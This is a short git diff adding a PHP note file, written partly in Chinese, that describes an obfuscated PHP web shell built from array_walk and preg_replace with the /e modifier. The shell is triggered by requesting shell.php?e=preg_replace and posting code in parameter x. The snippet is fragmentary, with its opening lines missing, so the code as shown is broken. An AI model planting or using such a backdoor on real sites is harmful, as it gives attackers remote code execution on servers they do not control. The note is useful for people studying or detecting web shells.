diff --git a/php/2020.08.20.14.php b/php/2020.08.20.14.php new file mode 100644 index 0000000..9947c43 --- /dev/null +++ b/php/2020.08.20.14.php @@ -0,0 +1,28 @@ + + + + +use like: + +``` + + '|.*|e',); + array_walk($arr, $e, ''); +?> +此时提交如下 payload 的话: + +Php +shell.php?e=preg_replace +最后就相当于执行了如下语句: + +Php +preg_replace('|.*|e',$_POST['x'],'') +这个时候只需要 POST x=phpinfo(); + +```